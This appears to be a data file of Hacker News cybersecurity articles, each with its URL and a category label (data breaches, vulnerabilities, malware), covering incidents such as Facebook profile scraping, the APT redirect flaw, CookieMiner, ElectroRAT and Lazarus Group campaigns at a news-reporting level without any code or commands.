Facebook admits public data of its 2.2 billion users has been compromised | https://thehackernews.com/2018/04/facebook-data-privacy.html | Facebook dropped another bombshell on its users by admitting that all of its 2.2 billion users should assume malicious third-party scrapers have compromised their public profile information.
On Wednesday, Facebook CEO Mark Zuckerberg revealed that "malicious actors" took advantage of "Search" tools on its platform to discover the identities and collect information on most of its 2 billion users worldwide.
The revelation once again underlines the failure of the social-media giant to protect users' privacy while generating billions of dollars in revenue from the same information.
The revelation came weeks after the disclosure of the Cambridge Analytica scandal, wherein personal data of 77 million users was improperly gathered and misused by the political consultancy firm, who reportedly also helped Donald Trump win the US presidency in 2016.
However, the latest scam revealed by the social media giant about the abuse of Facebook's search tools over the course of several years impacts almost all of its 2.2 billion users, making it the worst year for the world's largest social network.
"It is clear now that we didn't do enough, we didn't focus enough on preventing abuse," Zuckerberg told press reporters. "We didn't take a broad enough view of what our responsibility is, and that was a huge mistake."
The company said it had disabled the feature—which allows anyone to look up users by entering phone numbers or email addresses into Facebook's search tool—in its site's search function that enabled malicious actors to scrape public profile information.
Here's How Scrapped Data Could Have Helped Cybercriminals
As mentioned above, the source of this scam was Facebook's search function, which was turned on by default. Hackers took help of "Dark Web," where criminals post personal information of users stolen from data breaches over the years, to collect.
Once they had their hands on email addresses and phone numbers, the hackers then used automated computer programs to feed the email addresses and phone numbers into Facebook's "search" box.
This scan allowed them to find out the full names of people associated with the email addresses or phone numbers, along with the Facebook profile information they chose to make public, which often includes names, profile photos, and hometown.
This collected information was then more likely to be used by cybercriminals to target particular individual using social engineering or other cyber attacks.
"Until today, people could enter another person's phone number or email address into Facebook search to help find them. This has been especially useful for finding your friends in languages which take more effort to type out a full name, or where many people have the same name," Facebook Chief Technology Officer Mike Schroepfer said in a blog post describing changes the company has made to its service to protect its users' data better.
"However, malicious actors have also abused these features to scrape public profile information by submitting phone numbers or email addresses they already have through search and account recovery. Given the scale and sophistication of the activity we've seen, we believe most people on Facebook could have had their public profile scraped in this way."
While apologizing "second time" to its users, Zuckerberg said this feature has immediately been turned off, noting that the scraped profile information was only limited to what was publically viewable.
However, Zuckerberg defended gathering users' data for a business model, arguing "People tell us that if they're going to see ads, they want the ads to be good."
"On the one hand, people want relevant experiences, and on the other hand there is some discomfort about how data is used," Zuck added. "I think the overwhelming feedback is for wanting a good experience."
Also, it was initially reported that Cambridge Analytica quiz app gathered data on some 50 million Facebook users, but Facebook revised that number upward by 74 percent, i.e., over 77 million.
In an effort to protect its users private data, Facebook is now restricting third-party apps from accessing users' information about their relationship status, religious or political views, work history, education, habits, interest, video watching, and games—basically almost every information data brokers and businesses collect to build profiles of their customers' tastes.
The company is all set to roll out a new feature on Monday that will inform users who were affected by the Cambridge Analytica data leak.
| Data_Breaches |
Critical RCE Flaw in Linux APT Allows Remote Attackers to Hack Systems | https://thehackernews.com/2019/01/linux-apt-http-hacking.html | Just in time…
Some cybersecurity experts this week arguing over Twitter in favor of not using HTTPS and suggesting software developers to only rely on signature-based package verification, just because APT on Linux also does the same.
Ironically, a security researcher just today revealed details of a new critical remote code execution flaw in the apt-get utility that can be exploited by a remote, man-in-the middle attacker to compromise Linux machines.
The flaw, apparently, once again demonstrates that if the software download ecosystem uses HTTPS to communicate safely, such attacks can easily be mitigated at the first place.
Discovered by Max Justicz, the vulnerability (CVE-2019-3462) resides in the APT package manager, a widely used utility that handles installation, update and removal of software on Debian, Ubuntu, and other Linux distributions.
According to a blog post published by Justicz and details shared with The Hacker News, the APT utility doesn't properly sanitize certain parameters during HTTP redirects, allowing man-in-the-middle attackers to inject malicious content and trick the system into installing altered packages.
APT HTTP redirects help Linux machines to automatically find suitable mirror server to download software packages when others are unavailable. If the first server somehow fails, it returns a response with the location of next server from where the client should request the package.
"Unfortunately, the HTTP fetcher process URL-decodes the HTTP Location header and blindly appends it to the 103 Redirect response," Justicz explains.
As shown by the researcher in a video demonstration shared with The Hacker News, an attacker—intercepting HTTP traffic between APT utility and a mirror server, or just a malicious mirror—can inject malicious packages in the network traffic and execute arbitrary code on the targeted system with the highest level of privileges, i.e. root.
"You can completely replace the requested package, as in my proof of concept. You could substitute a modified package as well, if you wanted to," Justicz told THN.
Though Justicz has not tested, he believes the vulnerability affects all type of package downloads, even if you are installing a package for the very first time or updating an old one.
No doubt, to protect the integrity of the software packages, it's important to use signature-based verification, as software developers do not have control over mirror servers, but that doesn't mean one should ignore benefits of using HTTPS protocol over the complexity of infrastructural upgrades in some particular cases.
No software, platform or server can claim to be 100% secure, so adopting the idea of defense-in-depth is never a bad idea to consider.
It should also be noted that cybersecurity experts do not expect organizations or open-source developers to implement HTTPS overnight, but they should also not even reject the defensive measures completely.
"By default, Debian and Ubuntu both use plain http repositories out of the box (Debian lets you pick what mirror you want during installation, but doesn't actually ship with support for https repositories – you have to install apt-transport-https first)," the researcher explains.
"Supporting http is fine. I just think it's worth making https repositories the default – the safer default – and allowing users to downgrade their security at a later time if they choose to do so."
The developers of APT software have released updated version 1.4.9 to fix the reported remote code execution vulnerability.
Since apt-get is part of many major Linux distributions including Debian and Ubuntu, who have also acknowledged the flaw and released security updates, it is highly recommended for Linux users to update their systems as soon as possible.
| Vulnerability |
Adobe Releases Out-of-Band Security Patches for 82 Flaws in Various Products | https://thehackernews.com/2019/10/adobe-software-patches.html | No, it's not a patch Tuesday.
It's the third Tuesday of the month, and as The Hacker News shared an early heads-up late last week on Twitter, Adobe today finally released pre-announced out-of-band security updates to patch a total of 82 security vulnerabilities across its various products.
The affected products that received security patches today include:
Adobe Acrobat and Reader
Adobe Experience Manager
Adobe Experience Manager Forms
Adobe Download Manager
Out of 82 security vulnerabilities, 45 are rated critical, and all of them affect Adobe Acrobat and Reader and which, if exploited successfully, could lead to arbitrary code execution in the context of the current user.
A majority of critical-rated vulnerabilities (i.e., 26) in Adobe Acrobat and Reader reside due to use-after-free, 6 due to out-of-bounds write, 4 are type confusion bugs, 4 due to untrusted pointer dereference, 3 are heap overflow bugs, one buffer overrun and one race condition issue.
Adobe Acrobat and Reader for Microsoft Windows and Apple macOS operating systems has also received patches for 23 important-rated vulnerabilities that could lead to information disclosure attacks due to out-of-bounds read and cross-site scripting issues.
Adobe Experience Manager, a comprehensive content management solution for building websites, mobile apps, and forms, has been patched to address a total of 12 vulnerabilities, 8 are rated as important, and rests are moderate in severity.
The remaining two vulnerabilities patched today include: one moderate information disclosure issue resides in Adobe Experience Manager Forms for all platforms, and one important privilege escalation flaw affects Adobe Download Manager for Microsoft Windows.
Speaking of out-of-band security updates, surprisingly Adobe Flash Player received no security patch this time. It should be noted that Adobe would stop providing updates for Flash Player at the end of 2020.
Both Acrobat and Reader and Experience Manager updates received a priority rating of 2, which means similar flaws have previously been seen exploited in the wild, but for now, the company has found no evidence of any exploitation of these vulnerabilities in the wild.
On the other hand, Adobe Experience Manager Forms and Adobe Download Manager updates received a priority rating of 3, which means the vulnerabilities addressed in the updates are unlikely to be exploited in attacks, according to Adobe's update notes.
Though none of the security vulnerabilities fixed in this batch of Adobe updates were publicly disclosed or found being exploited in the wild, we highly recommend you to download the latest versions of the affected software and apply patches at your earliest convenience.
If your system has not yet detected the availability of the new update automatically, you should manually install the update by choosing "Help → Check for Updates" in your Adobe software for Windows, macOS, Linux, and Chrome OS.
| Vulnerability |
US ,Israel or Russia , Who is Behind Stuxnet? | https://thehackernews.com/2011/12/us-israel-or-russia-who-is-behind.html | US ,Israel or Russia , Who is Behind Stuxnet ?
Initially After Symantec did a little reverse engineering on the now infamous Stuxnet worm, many started pointing the finger at the US and Israel, especially since it was concluded that the piece of malware was designed to target a specific version of the Siemens SCADA programmable logic controls (PLC) operating in certain nuclear facilities from Iran. Ralph Langner told a conference in California that the malicious software was designed to cripple systems that could help build an Iranian bomb.Mr Langner was one of the first researchers to show how Stuxnet could take control of industrial equipment.
Dr. Panayotis A. Yannakogeorgos is a cyber defense analyst with the U.S. Air Force Research Institute. He told the Diplomat that the one weak point in the theory that the US and Israel hit the Iranian nuclear problem with Stuxnet is that both sides denied it when they would not have had to. Yannakogeorgos said that the Russians could have equally carried out the attack. Apparenly the Russians are not that happy about an Iranian indigenous nuclear capability even if they are helping build it.
In brief, the case for the United States having designed and developed Stuxnet is as follows: First, neither the United States nor Israel wants Iran to develop nuclear weapons. The worm, then, is seen as likely part of a covert strategy to delay or destroy Iran's nuclear infrastructure while stopping short of war. The weapon was designed to target a specific version of the Siemens SCADA programmable logic controls (PLC) operating a specific configuration and number of cascading centrifuges found in Iran. Some analysts point to the fact that there were vulnerability assessments being run at Idaho National Labs on Siemens PLC software. Others note that the design of the cyber weapon closely fit Richard Clark's description in Cyber War of a well-designed and ethically thought out weapon limiting collateral damage due to a vast army of lawyers scrutinizing the effects. The malware-analyst community, meanwhile, points to digital code strings such as "b:\myrtus\" taken from biblical events important to Israeli identity. And, as the story goes, after the political decisions, vulnerability assessments, and weapon design took place, either an Iranian agent was found to take the USB memory stick into the nuclear facility, or all the computers around the plants were infected with Stuxnet via the conficker worm.
Russia has a good reason not to want Iran to get its paws on nuclear technology. In 1995, for example, Chechen rebels planted a "dirty bomb" in Moscow's Izmailovsky Park. Nuclear material is much more secure in Russia but if Iran develops a full-blown nuclear capability, Chechen or other violent extremist and nationalist rebels go to Iran to buy the material.
The Stuxnet attack may be coupled with an assassination campaign targeting Iranian nuclear and computer scientists and various leaks suggesting covert action, all made for a compelling case of U.S. involvement. But whether it was the United States or Russia behind it, it's clear that in Stuxnet's aftermath, and with the emergence of other worms within their systems, Iranian nuclear engineers have less confidence in the accuracy of sensor information on digital displays. All this means that there's now no need for the U.S. or Russia to say anything on the issue internal conflict in the minds of those responsible for Iran's nuclear program is doing a perfectly good job of delaying progress.
| Malware |
New Guidelines Explain How Apple will Legally Process Law Enforcement Data Requests | https://thehackernews.com/2014/05/new-guidelines-explain-how-apple-will.html | Despite the contrary regarding NSA's DROPOUTJEEP program, Apple had always denied working with the NSA in the creation of any backdoors used to spy on its users and also claimed that the NSA doesn't have backdoor access to its data. But, Apple could legally share your phone data with the law enforcement agencies if asked for.
Being a secretive company, Apple is very clear at its point of sharing its users' data with the government when U.S. law enforcement agencies request data relating to the company's users. With the release of a set of new guidelines late Wednesday regarding requests for customer data from the U.S. law enforcement agencies, Apple specifies what information can and cannot be lifted from its users devices upon the receipt of disclosure requests, search warrants, or legal orders.
"These guidelines are provided for use by law enforcement or other government entities in the U.S. when seeking information from Apple Inc. about users of Apple's products and services, or from Apple devices," the site said.
Apple states that it can extract active user-generated data from even passcode-locked iOS devices and could only retrieve data from its own first party app that includes SMS messages, photos, videos, contacts, audio recording, and call history.
However, Apple can't provide access to users' email, calendar entries, or any third-party app data. Also it can only extract the data from the devices running iOS 4 or "in good working order" at its Cupertino, California headquarters and the law enforcement authorities need to provide their own removable media in order to store the extracted data.
While the report is not at all surprising as Apple is not doing anything new with the data disclosures, the only thing is that the guidelines provide more detail about the types of information the company is capable of preserving and how administrative subpoenas issued by FBI and valid warrants are served to the process for information.
According to the updated guidelines, in most of the cases the company will notify the affected customer when the data is solicited as part of a legal process, except in some specific cases in which it will stay silent where either the notice is prohibited by law or likely to put people in immediate danger.
Pointing out that "the law enforcement should be as narrow and specific as possible when fashioning their legal process to avoid misinterpretation and/or objections in response to an overly broad request," Apple said it "will notify its customers when their personal information is being sought in response to legal process except where providing notice is prohibited by the legal process itself, by a court order Apple receives (e.g., an order under 18 U.S.C. §2705(b)), or by applicable law or where Apple, in its sole discretion, believes that providing notice could create a risk of injury or death to an identifiable individual or group of individuals or in situations where the case relates to child endangerment," the company says.
It is very much clear that whatever is stored by the company can be provided to the officials on the request, which covers everything from iOS devices to web services like iCloud. Under some specific circumstances, apart from locked iOS device' data, the company can also provide email logs and contents, subscriber information and other information that customers have backed up and stored to iCloud.
The company detailed about what it won't do. It doesn't extract data from either FaceTime calls or iMessage chats as they are always in an encrypted form. It also can't remotely switch on Find My iPhone or grab GPS information, so don't afraid of expecting the feds to your door.
"Location information for a device located through the Find My iPhone feature is customer facing and Apple does not have records of maps or email alerts provided through the service. Find My iPhone connection logs may be available and can be obtained with a subpoena or greater legal process. Find My iPhone transactional activity for requests to remotely lock or erase a device may be available if utilized by the customer," the guidelines say.
Apple has increased the transparency in response to the worldwide outrage caused by the former US National Security Agency contractor Edward Snowden revelations of confidential documents and the updated Apple policy will not at all apply to national security letters or those requests that have Foreign Intelligence Surveillance Court approval.
| Data_Breaches |
New Mac Malware Targets Cookies to Steal From Cryptocurrency Wallets | https://thehackernews.com/2019/02/mac-malware-cryptocurrency.html | Mac users need to beware of a newly discovered piece of malware that steals their web browser cookies and credentials in an attempt to withdraw funds from their cryptocurrency exchange accounts.
Dubbed CookieMiner due to its capability of stealing cookies-related to cryptocurrency exchanges, the malware has specifically been designed to target Mac users and is believed to be based on DarthMiner, another Mac malware that was detected in December last year.
Uncovered by Palo Alto Networks' Unit 42 security research team, CookieMiner also covertly installs coin mining software onto the infected Mac machines to secretly mine for additional cryptocurrency by consuming the targeted Mac's system resources.
In the case of CookieMiner, the software is apparently geared toward mining "Koto," a lesser-known, privacy-oriented cryptocurrency which is mostly used in Japan.
However, the most interesting capabilities of the new Mac malware is to steal:
Both Google Chrome and Apple Safari browser cookies associated with popular cryptocurrency exchanges and wallet service websites.
Usernames, passwords and credit card information saved in the Chrome web browser.
Cryptocurrency wallet data and keys.
iPhone's text messages of victims stored in iTunes backups.
When talking about the targeted cryptocurrency exchanges and wallet services, CookieMiner was found targeting Binance, Coinbase, Poloniex, Bittrex, Bitstamp, MyEtherWallet, and any website having "blockchain" in its domain and using cookies to track their users temporarily.
By leveraging the combination of stolen login credentials, web cookies, and SMS data, it would be possible for an attacker to even bypass two-factor authentication for exchange sites and steal cryptocurrencies from the victim's accounts and wallets.
"If only the username and password are stolen and used by a bad actor, the website may issue an alert or request additional authentication for a new login," the researchers explained in their blog post published Thursday.
"However, if an authentication cookie is also provided along with the username and password, the website might believe the session is associated with a previously authenticated system host and not issue an alert or request additional authentication methods."
It should be noted that researchers have not yet found any evidence of the attackers successfully withdrawing funds from any user's wallet or account, but are speculating based on the malware's behavior.
What's more? CookieMiner also uses the EmPyre backdoor for post-exploitation control, allowing attackers to send commands to the infected Mac computers for remote control.
EmPyre is a Python post-exploitation agent that checks if the Little Snitch application firewall is running on the victim's machine and if it finds one, it will stop and exit. The agent can also be configured to download additional files.
Although it is unclear how the CookieMiner malware is pushed to the victims at the first place, it is believed that the users are tricked into downloading tainted software onto their machines which delivers the malware.
Palo Alto Networks has already contacted targeted cryptocurrency exchanges and wallet services, along with Apple and Google, and reported the issue.
Since the researchers believe that the CookieMiner campaign is still active, the best way to prevent falling victim to such malware attacks is to avoid saving your credentials or credit card information within your web browsers and, not to mention, avoid downloading apps from third-party platforms.
You should also consider clearing your cookies when visiting the banking or financial accounts, and "keep an eye on their security settings and digital assets to prevent compromise and leakage," researchers advised.
| Malware |
Smile! Hackers Can Remotely Access Your Samsung SmartCam Security Cameras | https://thehackernews.com/2017/01/samsung-smartcam-camera.html | It's not necessary to break into your computer or smartphone to spy on you. Today all devices in our home are becoming more connected to networks than ever to make our lives easy.
But what's worrisome is that these connected devices can be turned against us, anytime, due to lack of stringent security measures and insecure encryption mechanisms implemented in these Internet of Things (IoTs) devices.
The most recent victim of this issue is the Samsung's range of SmartCam home security cameras.
Yes, it's hell easy to hijack the popular Samsung SmartCam security cameras, as they contain a critical remote code execution (RCE) vulnerability that could let hackers gain root access and take full control of these devices.
SmartCam is one of the Samsung's SmartThings range of devices, which allows its users to connect, manage, monitor and control "smart" devices in their home using their smartphones or tablets.
Back in 2014, the hacking group Exploiteers, which was previously known as GTVHacker, listed some SmartCam exploits that could have allowed remote attackers to execute arbitrary commands and let them change the camera's administrator password.
But instead of patching the flaw, Samsung decided to rip out the accessible web interface and use an alternate route that forced its users to run their SmartCams through the company's SmartCloud website.
So, it turns out that Exploiteers broke into the Samsung's SmartCam devices again with a different hacking exploit, allowing hackers to view what are supposed to be private video feeds.
What went wrong? Samsung had patched the original flaws but left one set of scripts untouched: Some PHP scripts that provide firmware updates through the SmartCam's "iWatch" webcam monitoring software.
These PHP scripts have a command injection vulnerability which could allow unauthorized users without admin privileges to execute remote shell commands with root privileges.
"The vulnerability occurs because of improper sanitization of the iWatch firmware update filename," a post on Exploiteers website reads. "A specially crafted request allows an attacker the ability to inject his command providing the attacker remote root command execution."
This defect, in turn, allows the web management system to be turned on, which was turned off by the vendor.
Exploiteers has also provided a proof-of-concept video demonstration that shows their exploit successfully working on the SmartCam SNH-1011 model, but security experts believe all Samsung SmartCam devices are affected.
How to Mitigate the Vulnerability?
An official patch from Samsung does not appear to be available yet, but the good news is that the folks at Exploiteers have shared a DIY patch that can be downloaded by SmartCam users.
However, I personally advise users to wait for an official firmware update from the company, rather than running untrusted code on their devices, though there's no indication yet if Samsung has any plan to issue a proper patch in upcoming days.
Another way to mitigate the vulnerability is by keeping your SmartCam behind a network firewall.
Samsung has yet to respond on the issue.
| Vulnerability |
Cryptographers : Satellite phones vulnerable to eavesdropping | https://thehackernews.com/2012/02/cryptographers-satellite-phones.html | Cryptographers : Satellite phones vulnerable to eavesdropping
Researchers at a German university claim to have cracked the algorithm that secures satellite phone transmissions. They have broken the encryption of the two main standards used to protect calls from satellite phones, giving them the ability to intercept conversations that are meant to be private. The attacks on the GMR-1 and GMR-2 standards are thought to be the first such work against the satellite phone ciphers.
After reverse engineering phones that use the GMR-1 and GMR-2 standards, the team discovered serious cryptographic weaknesses that allow attackers using a modest PC running open-source software to recover protected communications in less than an hour.
The Ministry of Defence has said a satellite phone crack of the A5-GMR-1 and A5-GMR-2 encryption algorithms crack by researchers will not affect UK military use of satellite phones. "All military users of mobile satellite communication systems are aware of the potential threats to such systems and are briefed explicitly that they are only authorised to pass unclassified information (both voice and data) over these systems," an MoD spokeswoman said in an email statement. "Protected information is never sent over an unclassified system, unless it is being employed in conjunction with an accredited secure device."
The findings, laid out in a paper (PDF) to be presented at the IEEE Symposium on Security and Privacy 2012, are the latest to poke holes in proprietary encryption algorithms. Their report is titled "Don't Trust Satellite Phones" and shows how someone with a "suitably programmed computer" and software radio capable of receiving satellite frequencies can hack calls. These include ones made by disaster relief agencies and the military.
MI5 and the Secret Intelligence Service (SIS) declined to comment on use of satellite phones by the intelligence services. "We have shown that we can decrypt communications secured according to the GMR-1 standard," said the researchers. "As a proof-of-concept, we have intercepted our own downlink (i.e. data sent from the satellite) speech data in the Thuraya network."
Following their work, the researchers recommend that users think twice before using satellite phones for private conversations."Our results show that the use of satellite phones harbours dangers and the current encryption algorithms are not sufficient", said Ralf Hund, the Chair for System Security at the Ruhr University Bochum.
| Vulnerability |
Warning: Cross-Platform ElectroRAT Malware Targeting Cryptocurrency Users | https://thehackernews.com/2021/01/warning-cross-platform-electrorat.html | Cybersecurity researchers today revealed a wide-ranging scam targeting cryptocurrency users that began as early as January last year to distribute trojanized applications to install a previously undetected remote access tool on target systems.
Called ElectroRAT by Intezer, the RAT is written from ground-up in Golang and designed to target multiple operating systems such as Windows, Linux, and macOS.
The apps are developed using the open-source Electron cross-platform desktop app framework.
"ElectroRAT is the latest example of attackers using Golang to develop multi-platform malware and evade most antivirus engines," the researchers said.
"It is common to see various information stealers trying to collect private keys to access victims wallets. However, it is rare to see tools written from scratch and targeting multiple operating systems for these purposes."
The campaign, first detected in December, is believed to have claimed over 6,500 victims based on the number of unique visitors to the Pastebin pages used to locate the command and control (C2) servers.
"Operation ElectroRAT" involved the attackers creating three different tainted applications — each with a Windows, Linux, Mac version — two of which pose as cryptocurrency trade management applications by the name of "Jamm" and "eTrade," while a third app called "DaoPoker" masquerades as a cryptocurrency poker platform.
Not only are the malicious apps hosted on websites built specifically for this campaign, but the services are also advertised on Twitter, Telegram, and legitimate cryptocurrency and blockchain-related forums such as "bitcointalk" and "SteemCoinPan" in an attempt to lure unsuspecting users into downloading the tainted apps.
Once installed, the app opens a harmless-looking user interface when in reality, the ElectroRAT runs hidden in the background as "mdworker," which comes with intrusive capabilities to capture keystrokes, take screenshots, upload files from disk, download arbitrary files, and execute malicious commands received from the C2 server on the victim's machine.
Interestingly, an analysis of the Pastebin pages — which were published by a user named "Execmac" as early as January 8, 2020 — and those posted by the same user prior to the campaign found C2 servers used in conjunction with Windows malware like Amadey and KPOT, suggesting the attackers have pivoted from using well-known trojans to a new RAT capable of targeting multiple operating systems.
"Another motivating factor is this is an unknown Golang malware, which has allowed the campaign to fly under the radar for a year by evading all antivirus detections," the researchers said.
Users who have fallen victim to this campaign are urged to kill the process, delete all files related to the malware, move the funds to a new wallet, and change their passwords.
| Malware |
This 10-year-old Boy becomes the youngest Bug Bounty Hacker | https://thehackernews.com/2016/05/youngest-hacker.html | "Talent has no Age Limit"
That's what I said for a 10-year-old Finnish boy on our official Facebook page while sharing his recent achievement with our readers i.e. Winning $10,000 bug bounty from Instagram.
Last Tuesday when we at The Hacker News first acknowledged this talented boy and the flaw he discovered in image-sharing social network Instagram, I did not have an idea that the Facebook post would get an enormous response from our followers, encouraging me to introduce Jani to our website readers too.
Those who aren't aware, Jani from Helsinki recently reported an Instagram bug to Facebook that allowed him to delete other Instagram users' comments just by entering a malicious code into the app's comment field.
"I would have been able to eliminate anyone's comment from Instagram, even Justin Bieber," Jani told a local newspaper.
Jani responsibly disclosed the vulnerability details to Facebook, who owns Instagram, in February and rewarded with €9000 (Over US$10,000) under Facebook's bug bounty program. He said he will use the money to buy a football and a new bicycle.
Jani, whose last name is not being shared at the request of his parents, has been interested in coding and video games since the age of 8.
He has been learning about hacking and programming from instructional videos on YouTube, he told Finnish media, adding that his dream job is to become an information security expert. "It would be my dream job. Security is really important," he said.
The Finnish kid has previously discovered a number of vulnerabilities in different websites, but this Instagram bug made him the youngest publicly acknowledged bug bounty hunter to report a valid bug and earn reward.
| Vulnerability |
Google+ is Shutting Down After a Vulnerability Exposed 500,000 Users' Data | https://thehackernews.com/2018/10/google-plus-shutdown.html | Google is going to shut down its social media network Google+ after the company suffered a massive data breach that exposed the private data of hundreds of thousands of Google Plus users to third-party developers.
According to the tech giant, a security vulnerability in one of Google+'s People APIs allowed third-party developers to access data for more than 500,000 users, including their usernames, email addresses, occupation, date of birth, profile photos, and gender-related information.
Since Google+ servers do not keep API logs for more than two weeks, the company cannot confirm the number of users impacted by the vulnerability.
However, Google assured its users that the company found no evidence that any developer was aware of this bug, or that the profile data was misused by any of the 438 developers that could have had access.
"However, we ran a detailed analysis over the two weeks prior to patching the bug, and from that analysis, the Profiles of up to 500,000 Google+ accounts were potentially affected. Our analysis showed that up to 438 applications may have used this API," Google said in blog post published today.
The vulnerability was open since 2015 and fixed after Google discovered it in March 2018, but the company chose not to disclose the breach to the public—at the time when Facebook was being roasted for Cambridge Analytica scandal.
Though Google has not revealed the technical details of the security vulnerability, the nature of the flaw seems to be something very similar to Facebook API flaw that recently allowed unauthorized developers to access private data from Facebook users.
Besides admitting the security breach, Google also announced that the company is shutting down its social media network, acknowledging that Google+ failed to gain broad adoption or significant traction with consumers.
"The consumer version of Google+ currently has low usage and engagement: 90 percent of Google+ user sessions are less than five seconds," Google said.
In response, the company has decided to shut down Google+ for consumers by the end of August 2019. However, Google+ will continue as a product for Enterprise users.
Google Introduces New Privacy Controls Over Third-Party App Permissions
As part of its "Project Strobe," Google engineers also reviewed third-party developer access to Google account and Android device data; and has accordingly now introduced some new privacy controls.
When a third-party app prompts users for access to their Google account data, clicking "Allow" button approves all requested permissions at once, leaving an opportunity for malicious apps to trick users into giving away powerful permissions.
But now Google has updated its Account Permissions system that asks for each requested permission individually rather than all at once, giving users more control over what type of account data they choose to share with each app.
Since APIs can also allow developers to access users' extremely sensitive data, like that of Gmail account, Google has limited access to Gmail API only for apps that directly enhance email functionality—such as email clients, email backup services and productivity services.
Google shares fell over 2 percent to $1134.23 after the data breach reports.
| Data_Breaches |
North Korean Hackers Targeting Defense Firms with ThreatNeedle Malware | https://thehackernews.com/2021/02/north-korean-hackers-targeting-defense.html | A prolific North Korean state-sponsored hacking group has been tied to a new ongoing espionage campaign aimed at exfiltrating sensitive information from organizations in the defense industry.
Attributing the attacks with high confidence to the Lazarus Group, the new findings from Kaspersky signal an expansion of the APT actor's tactics by going beyond the usual gamut of financially-motivated crimes to fund the cash-strapped regime.
This broadening of its strategic interests happened in early 2020 by leveraging a tool called ThreatNeedle, researchers Vyacheslav Kopeytsev and Seongsu Park said in a Thursday write-up.
At a high level, the campaign takes advantage of a multi-step approach that begins with a carefully crafted spear-phishing attack leading eventually to the attackers gaining remote control over the devices.
ThreatNeedle is delivered to targets via COVID-themed emails with malicious Microsoft Word attachments as initial infection vectors that, when opened, run a macro containing malicious code designed to download and execute additional payloads on the infected system.
The next-stage malware functions by embedding its malicious capabilities inside a Windows backdoor that offers features for initial reconnaissance and deploying malware for lateral movement and data exfiltration.
"Once installed, ThreatNeedle is able to obtain full control of the victim's device, meaning it can do everything from manipulating files to executing received commands," Kaspersky security researchers said.
Kaspersky found overlaps between ThreatNeedle and another malware family called Manuscrypt that has been used by Lazarus Group in previous hacking campaigns against the cryptocurrency and mobile games industries, besides uncovering connections with other Lazarus clusters such as AppleJeus, DeathNote, and Bookcode.
Interestingly, Manuscrypt was also deployed in a Lazarus Group operation last month, which involved targeting the cybersecurity community with opportunities to collaborate on vulnerability research, only to infect victims with malware that could cause the theft of exploits developed by the researchers for possibly undisclosed vulnerabilities, thereby using them to stage further attacks on vulnerable targets of their choice.
Perhaps the most concerning of the development is a technique adopted by the attackers to bypass network segmentation protections in an unnamed enterprise network by "gaining access to an internal router machine and configuring it as a proxy server, allowing them to exfiltrate stolen data from the intranet network to their remote server."
The cybersecurity firm said organizations in more than a dozen countries have been affected to date.
At least one of the spear-phishing emails referenced in the report is written in Russian, while another message came with a malicious file attachment named "Boeing_AERO_GS.docx," possibly implying a U.S. target.
Earlier this month, three North Korean hackers associated with the military intelligence division of North Korea were indicted by the U.S. Justice Department for allegedly taking part in a criminal conspiracy that attempted to extort $1.3 billion in cryptocurrency and cash from banks and other organizations around the world.
"In recent years, the Lazarus group has focused on attacking financial institutions around the world," the researchers concluded. "However, beginning in early 2020, they focused on aggressively attacking the defense industry."
"While Lazarus has also previously utilized the ThreatNeedle malware used in this attack when targeting cryptocurrency businesses, it is currently being actively used in cyberespionage attacks."
| Malware |
Over 1000 Wendy's Restaurants Hit by Credit Card Hackers | https://thehackernews.com/2016/07/over-1000-wendys-restaurants-hit-by.html | The Popular fast-food restaurant chain Wendy's on Thursday admitted that a massive cyber attack had hit more than 1,000 of its restaurants across the country.
The burger chain did not speculate how many people may have been affected, though it did confirm that the hackers were able to steal its customers' credit and debit card information.
The data breach is more than three times bigger than initially thought.
The original data breach was believed to have affected "fewer than 300" of its 5,144 franchised locations in the United States when the malware was discovered in May.
The Malware had been installed on Point-of-Sale (PoS) systems in the affected restaurants and was able to obtain cardholder's name, payment card number, expiration date, service code, cardholder verification value, among other data.
The data breach began in fall 2015 and discovered in February this year, and the company went public with in May.
Just last month, Wendy's said the company learned of a second malware variant that had infected its systems and disabled it from all locations.
The company is now offering one year of "complimentary" fraud protection services to affected customers.
Wendy's has blamed a third-party for the cyber attack, saying a "service provider" had its remote access credentials compromised that allowed attackers to deploy malware remotely to some franchisees' POS systems.
Once identified, the US burger chain found a method of disabling the malware and has done so at all affected locations. Customers can see the list of affected locations through Wendy's website.
So, if you have used your debit or credit card at Wendy's restaurant early this year, you are advised to keep a close eye on your bank account statements.
| Data_Breaches |
Greedy North Korean Hackers Targeting Cryptocurrencies and Point-of-Sale Terminals | https://thehackernews.com/2017/12/lazarus-hacking-bitcoin.html | The North Korean hacking group has turned greedy.
Security researchers have uncovered a new widespread malware campaign targeting cryptocurrency users, believed to be originated from Lazarus Group, a state-sponsored hacking group linked to the North Korean government.
Active since 2009, Lazarus Group has been attributed to many high profile attacks, including Sony Pictures Hack, $81 million heists from the Bangladesh Bank, and the latest — WannaCry.
The United States has officially blamed North Korea for global WannaCry ransomware attack that infected hundreds of thousands of computers across more than 150 countries earlier this year.
In separate news, security experts have blamed Lazarus group for stealing bitcoins worth millions from the South Korean exchange Youbit, forcing it to shut down and file for bankruptcy after losing 17% of its assets.
Researchers from security firm Proofpoint have published a new report, revealing a connection between Lazarus Group and a number of multistage cyber attacks against cryptocurrency users and point-of-sale systems.
"The group has increasingly focused on financially motivated attacks and appears to be capitalizing on both the increasing interest and skyrocketing prices for cryptocurrencies," the researchers said. "The Lazarus Group's arsenal of tools, implants, and exploits is extensive and under constant development."
After analyzing a large number of spear phishing emails with different attack vectors from multiple spear phishing campaigns, researchers discovered a new PowerShell-based reconnaissance implant from Lazarus Group arsenal, dubbed PowerRatankba.
Encryption, obfuscation, functionality, decoys, and command-and-control servers used by PowerRatankba closely resembles the original Ratankba implant developed by Lazarus Group.
The PowerRatankba implant is being spread using a massive email campaign through the following attack vectors:
Windows executable downloader dubbed PowerSpritz
Malicious Windows Shortcut (LNK) files
Several malicious Microsoft Compiled HTML Help (CHM) files
Multiple JavaScript (JS) downloaders
Macro-based Microsoft Office documents
Backdoored popular cryptocurrency applications hosted on fake websites
PowerRatankba, with at least two variants in the wild, acts as a first-stage malware that delivers a fully-featured backdoor (in this case, Gh0st RAT) only to those targeted companies, organizations, and individuals that have interest in cryptocurrency.
"During our research, we discovered that long-term sandboxing detonations of PowerRatankba not running cryptocurrency related applications were never infected with a Stage2 implant. This may indicate that the PowerRatankba operator(s) were only interested in infecting device owners with an obvious interest in various cryptocurrencies," reads the 38-page-long report [PDF] published by Proofpoint.
Once installed, Gh0st RAT allows cybercriminals to steal credentials for cryptocurrency wallets and exchanges.
